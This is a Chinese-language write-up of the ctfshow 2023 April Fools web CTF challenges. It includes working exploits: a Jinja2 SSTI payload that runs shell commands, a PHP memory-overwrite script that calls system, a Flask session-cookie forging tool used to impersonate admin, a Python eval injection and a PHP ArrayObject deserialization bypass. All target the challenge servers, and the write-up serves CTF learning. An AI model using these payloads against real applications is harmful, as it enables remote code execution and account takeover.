ctfshow 2023 愚人杯 web

easy_signin

观察url，发现base64 ，进行解码，原来可以访问文件路径，那我们访问一下index.php

?img=aW5kZXgucGhw

查看源代码发现还是base64 解码得到flag

被遗忘的反序列化

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

dirsearch -u https://6a507383-fc70-4ba6-a66c-24b870f3dd9e.challenge.ctf.show/-w /home/kali/Desktop/dirsearch/db/dicc.txt

没扫出来

easy_ssti

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

要ge不要f
构造payload ssti注入 

url/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}?ctfshow=cat /f*

暗网聊天室

import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort

url = 'https://b52f786b-a8eb-4aee-8cde-fb7bb40393da.challenge.ctf.show/' # 题目URL，先等几秒再运行

# 加密
def encrypt(plaintext, public_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

    ciphertext = ''
    for i in range(0, len(plaintext), 128):
        ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()

    return ciphertext

def get_plaintext_half():
    text = requests.get(url+'/update').text
    return re.findall('[^@]*\.92', text)[0]

def get_public_key(public_key):
    text = requests.get(url+'/shop?api=127.0.0.1:9999').text
    return re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]

IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据

# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')

# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)

# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]

# 请求
requests.post(url + '/pass_message',data = {'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()

easy_class

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: [email protected]
# @link: https://ctfer.com

*/
namespace ctfshow;


class C{

    const __REF_OFFSET_1 = 0x41;
    const __REF_OFFSET_2 = 0x7b;
    const __REF_OFFSET_3 = 0x5b;
    const __REF_OFFSET_4 = 0x60;
    const __REF_OFFSET_5 = 0x30;
    const __REF_OFFSET_6 = 0x5f;

    const __REF_SIZE__= 20;
    const __REF_VAL_SIZE__= 50;

    private $cursor=0;
    private $cache;
    private $ref_table=[];

    

    function main(){
        $flag = md5(file_get_contents("/flag"));
        $this->define('ctfshow',self::__REF_VAL_SIZE__);
        $this->define('flag',strlen($flag));
        $this->neaten();
        $this->fill('flag',$flag);
        $this->fill('ctfshow',$_POST['data']);
        
        if($this->read('ctfshow')===$this->read('flag')){
            echo $flag;
        }
    }

    private function fill($ref,$val){
        rewind($this->cache);
        fseek($this->cache, $this->ref_table[$ref]+23);


        $arr = str_split($val);

        foreach ($arr as $s) {
            fwrite($this->cache, pack("C",ord($s)));
        }

        for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) { 
            fwrite($this->cache, pack("C","\x00"));
        }

        $this->cursor= ftell($this->cache);
    }

    public static function clear($var){
        ;
    }

    private function neaten(){
        $this->ref_table['_clear_']=$this->cursor;
        $arr = str_split("_clear_");
        foreach ($arr as $s) {
            $this->write(ord($s),"C");
        }
        for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) { 
            $this->write("\x00",'C');
        }

        $arr = str_split(__NAMESPACE__."\C::clear");
        foreach ($arr as $s) {
            $this->write(ord($s),"C");
        }

        $this->write(0x36d,'Q');
        $this->write(0x30,'C');

        for ($i=1; $i < self::__REF_SIZE__; $i++) { 
            $this->write("\x00",'C');
        }


    }

    private function readNeaten(){
        rewind($this->cache);
        fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
        $f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
        $t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
        $p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
        call_user_func($f,$p);

    }

    private function define($ref,$size){
        
        $this->checkRef($ref);
        $r = str_split($ref);
        $this->ref_table[$ref]=$this->cursor;
        foreach ($r as $s) {
            $this->write(ord($s),"C");
        }
        for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) { 
            $this->write("\x00",'C');
        }


        fwrite($this->cache,pack("v",$size));
        fwrite($this->cache,pack("C",0x31));
        $this->cursor= ftell($this->cache);

        for ($i=0; $i < $size; $i++) { 
            $this->write("\x00",'a');
        }
        
    }

    private function read($ref){

        if(!array_key_exists($ref,$this->ref_table)){
            throw new \Exception("Ref not exists!", 1);
        }

        if($this->ref_table[$ref]!=0){
            $this->seekCursor($this->ref_table[$ref]);
        }else{
            rewind($this->cache);
        }
        
        $cref = fread($this->cache, 20);
        $csize = unpack("v", fread($this->cache, 2));
        $usize = fread($this->cache, 1);

        $val = fread($this->cache, $csize[1]);

        return $this->truncation($val);

        
    }


    private function write($val,$fmt){
        $this->seek();
        fwrite($this->cache,pack($fmt,$val));
        $this->cursor= ftell($this->cache);
    }

    private function seek(){
        rewind($this->cache);
        fseek($this->cache, $this->cursor);
    }

    private function truncation($data){

        return implode(array_filter(str_split($data),function($var){
            return $var!=="\x00";
        }));

    }
    private function seekCursor($cursor){
        rewind($this->cache);
        fseek($this->cache, $cursor);
    }
    private function checkRef($ref){
        $r = str_split($ref);

        if(sizeof($r)>self::__REF_SIZE__){
            throw new \Exception("Refenerce size too long!", 1);
        }

        if(is_numeric($r[0]) || $this->checkByte($r[0])){
            throw new \Exception("Ref invalid!", 1);
        }

        array_shift($r);

        foreach ($r as $s) {

            if($this->checkByte($s)){
                throw new \Exception("Ref invalid!", 1);
            }
        }
    }

    private function checkByte($check){
        if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
            return true;
        }

        if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4 
            && ord($check) !== self::__REF_OFFSET_6){
            return true;
        }

        return false;

    }

    function __construct(){
        $this->cache=fopen("php://memory","wb");
    }

    public function __destruct(){
        $this->readNeaten();
        fclose($this->cache);
    }

}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;

$c->main();

import requests


url = "https://fdc9015c-3153-4262-80e3-5d1ac0131a9a.challenge.ctf.show/"

data = {
        "data":"A"*50+"flag"+"\x00"*19+"B"*32+"\x00"*20+"system"+"\x00"*18+"cat /f1agaaa"+"\x00"*8
}


response = requests.post(url=url,data=data)

print(response.text)

easy_flask

随便搞个账号之后登录

点击learn能看到部分源码
这是部分源码中有用的部分

from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

app = Flask(__name__)

app.secret_key = 'S3cr3tK3y'

users = {

}

用flask的session伪造自己为管理员

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

python flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9.ZC0-eA.Tjc6-iJogFi49pC1I39fMy265H8"
python flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
-s  是密钥  
-c 后面放的是jwt的session 
-t 是原内容加密为session_jwt

修改session


发现可以下载文件

/download/?filename=app.py

# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {
    'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}



@app.route('/')
def index():
    # Check if user is loggedin
    if 'loggedin' in session:
        return redirect(url_for('profile'))
    return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        if username in users and password == users[username]['password']:
            session['loggedin'] = True
            session['username'] = username
            session['role'] = users[username]['role']
            return redirect(url_for('profile'))
        else:
            msg = 'Incorrect username/password!'
    return render_template('login2.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
    msg = '' 
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        if username in users:
            msg = 'Account already exists!'
        else:
            users[username] = {'password': password, 'role': 'user'}
            msg = 'You have successfully registered!'
    return render_template('register2.html', msg=msg)



@app.route('/profile/')
def profile():
    if 'loggedin' in session:
        return render_template('profile2.html', username=session['username'], role=session['role'])
    return redirect(url_for('login'))


@app.route('/show/')
def show():
    if 'loggedin' in session:
        return render_template('show2.html')

@app.route('/download/')
def download():
    if 'loggedin' in session:
        filename = request.args.get('filename')
        if 'filename' in request.args:              
            return send_file(filename, as_attachment=True)
  
    return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"           #看到eval我就像狗看到屎，很明显的ssti嘛
    except Exception as e:
        print(e)
        pass
        
    return "hello"
    


@app.route('/logout/')
def logout():
   session.pop('loggedin', None)
   session.pop('id', None)
   session.pop('username', None)
   session.pop('role', None)
   return redirect(url_for('login'))


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

?eval=__import__("os").popen("cat /f*").read()
我先一直在哪里打{{}}因为没看到已经加了，结果后面仔细一看，哈哈哈

easy_php

<?php


error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){     //不让O,a开头
    unserialize($data);
}


?>

先跑个正则
 ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ 
 基本没过滤了

用C代替O来打头但是我们知道这样子会使得没有属性，难以进行命令执行
但是我们有个内置类可以重新封装类进行反序列化ArrayObject就会将O变为C从而实现本题

<?php
 
class ctfshow{
    public $ctfshow="cat /f1agaaa";
}
 
$a = new ArrayObject;
$a->a=new ctfshow();
echo serialize($a);

?1%2b1%3e2=C:11:"ArrayObject":81:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}